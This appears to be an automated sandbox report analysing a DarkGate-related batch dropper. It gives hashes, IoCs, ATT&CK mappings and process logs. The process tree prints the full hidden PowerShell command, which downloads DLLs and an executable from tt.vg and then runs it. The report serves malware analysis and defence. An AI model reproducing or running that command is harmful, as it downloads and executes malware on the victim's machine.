933fbda1ca7c4a52adbb48d038c8ba5ed5ee411d1096b2222ca383ca6d96a6bc

Resubmissions

25-08-2024 09:52

240825-lwb7jsxgmh 10

22-08-2024 07:27

240822-h98wwsvdrh 10

22-08-2024 07:21

240822-h651tsxhrk 10

21-08-2024 20:21

240821-y44b8aydje 10

Analysis

max time kernel
16s
max time network
18s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
21-08-2024 20:21

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Report Analysis Logs

General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

2 3644 powershell.exe
6 3644 powershell.exe
8 3644 powershell.exe
9 3644 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3644 powershell.exe
1604 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 tt.vg
2 tt.vg
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3644 powershell.exe
3644 powershell.exe
3644 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3644 powershell.exe

flow	pid	process
2	3644	powershell.exe
6	3644	powershell.exe
8	3644	powershell.exe
9	3644	powershell.exe

pid	process
3644	powershell.exe
1604	powershell.exe

flow	ioc
1	tt.vg
2	tt.vg

pid	process
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3644	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2812 wrote to memory of 3644	2812	cmd.exe	powershell.exe
PID 2812 wrote to memory of 3644	2812	cmd.exe	powershell.exe
PID 2812 wrote to memory of 1604	2812	cmd.exe	powershell.exe
PID 2812 wrote to memory of 1604	2812	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzwk30aw.iqj.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3644-0-0x00007FFA7ECD3000-0x00007FFA7ECD4000-memory.dmp

Filesize
4KB

Download
memory/3644-5-0x0000020F43FB0000-0x0000020F43FD2000-memory.dmp

Filesize
136KB

Download
memory/3644-7-0x00007FFA7ECD0000-0x00007FFA7F6BC000-memory.dmp

Filesize
9.9MB

Download
memory/3644-9-0x0000020F5C740000-0x0000020F5C7B6000-memory.dmp

Filesize
472KB

Download
memory/3644-10-0x00007FFA7ECD0000-0x00007FFA7F6BC000-memory.dmp

Filesize
9.9MB

Download
memory/3644-26-0x00007FFA7ECD0000-0x00007FFA7F6BC000-memory.dmp

Filesize
9.9MB

Download
memory/3644-43-0x00007FFA7ECD3000-0x00007FFA7ECD4000-memory.dmp

Filesize
4KB

Download
memory/3644-44-0x00007FFA7ECD0000-0x00007FFA7F6BC000-memory.dmp

Filesize
9.9MB

Download
memory/3644-56-0x00007FFA7ECD0000-0x00007FFA7F6BC000-memory.dmp

Filesize
9.9MB

Download